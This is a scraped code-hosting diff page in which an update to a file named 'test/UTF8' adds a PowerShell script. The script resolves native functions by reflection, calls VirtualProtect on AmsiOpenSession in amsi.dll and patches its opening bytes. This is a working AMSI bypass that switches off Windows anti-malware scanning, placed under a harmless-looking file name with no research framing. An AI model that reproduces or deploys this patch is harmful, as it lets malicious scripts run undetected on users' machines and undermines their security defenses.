Spaces:
Runtime error
Runtime error
Update test/UTF8
Browse files
test/UTF8
CHANGED
@@ -1,7 +1,31 @@
|
|
1 |
-
|
2 |
-
|
3 |
-
|
4 |
-
|
5 |
-
|
6 |
-
|
7 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
Param($m,$f)
|
2 |
+
Write-Host "[l] Function execution started" -ForegroundColor Green
|
3 |
+
Write-Host "[l] Parameters: ModuleName=$m, FunctionName=$f" -ForegroundColor Cyan
|
4 |
+
$a=([AppDomain]::CurrentDomain.GetAssemblies()|?{$_.GlobalAssemblyCache -and $_.Location.Split('\\')[-1] -eq 'System.dll'}).GetType('Microsoft.Win32.UnsafeNativeMethods')
|
5 |
+
Write-Host "[l] Assembly obtained: $($a.Assembly.FullName)" -ForegroundColor Green
|
6 |
+
$t=@()
|
7 |
+
$a.GetMethods()|%{if($_.Name -eq 'GetProcAddress'){$t+=$_;Write-Host "[l] GetProcAddress method found" -ForegroundColor Green}}
|
8 |
+
Write-Host "[l] Returning result" -ForegroundColor Green
|
9 |
+
$t[0].Invoke($null,@(($a.GetMethod('GetModuleHandle')).Invoke($null,@($m)),$f))
|
10 |
+
Param([Type[]]$f,[Type]$d=[Void])
|
11 |
+
Write-Host "[g] Function execution started" -ForegroundColor Green
|
12 |
+
Write-Host "[g] Parameters: Func=$f, DelType=$d" -ForegroundColor Cyan
|
13 |
+
$t=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('RD')),[System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('IM',$false).DefineType('MDT','Class, Public, Sealed, AnsiClass, AutoClass',[System.MulticastDelegate])
|
14 |
+
Write-Host "[g] Delegate type created: $t" -ForegroundColor Green
|
15 |
+
$t.DefineConstructor('RTSpecialName, HideBySig, Public',[System.Reflection.CallingConventions]::Standard,$f).SetImplementationFlags('Runtime, Managed')
|
16 |
+
$t.DefineMethod('Invoke','Public, HideBySig, NewSlot, Virtual',$d,$f).SetImplementationFlags('Runtime, Managed')
|
17 |
+
Write-Host "[g] Returning created type" -ForegroundColor Green
|
18 |
+
$t.CreateType()
|
19 |
+
Write-Host "[Main] Main code execution started" -ForegroundColor Yellow
|
20 |
+
$a=l amsi.dll AmsiOpenSession
|
21 |
+
Write-Host "[Main] AmsiOpenSession address obtained: $a" -ForegroundColor Green
|
22 |
+
$o=0
|
23 |
+
$v=[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((l kernel32.dll VirtualProtect),(g @([IntPtr],[UInt32],[UInt32],[UInt32].MakeByRefType()) ([Bool])))
|
24 |
+
Write-Host "[Main] Delegate for VirtualProtect created" -ForegroundColor Green
|
25 |
+
$v.Invoke($a,3,0x40,[ref]$o)
|
26 |
+
Write-Host "[Main] Memory access rights changed" -ForegroundColor Green
|
27 |
+
[System.Runtime.InteropServices.Marshal]::Copy([byte[]](0x48,0x31,0xC0),0,$a,3)
|
28 |
+
Write-Host "[Main] Bytes written to memory" -ForegroundColor Green
|
29 |
+
$v.Invoke($a,3,0x20,[ref]$o)
|
30 |
+
Write-Host "[Main] Original memory access rights restored" -ForegroundColor Green
|
31 |
+
Write-Host "[Main] Execution completed" -ForegroundColor Yellow
|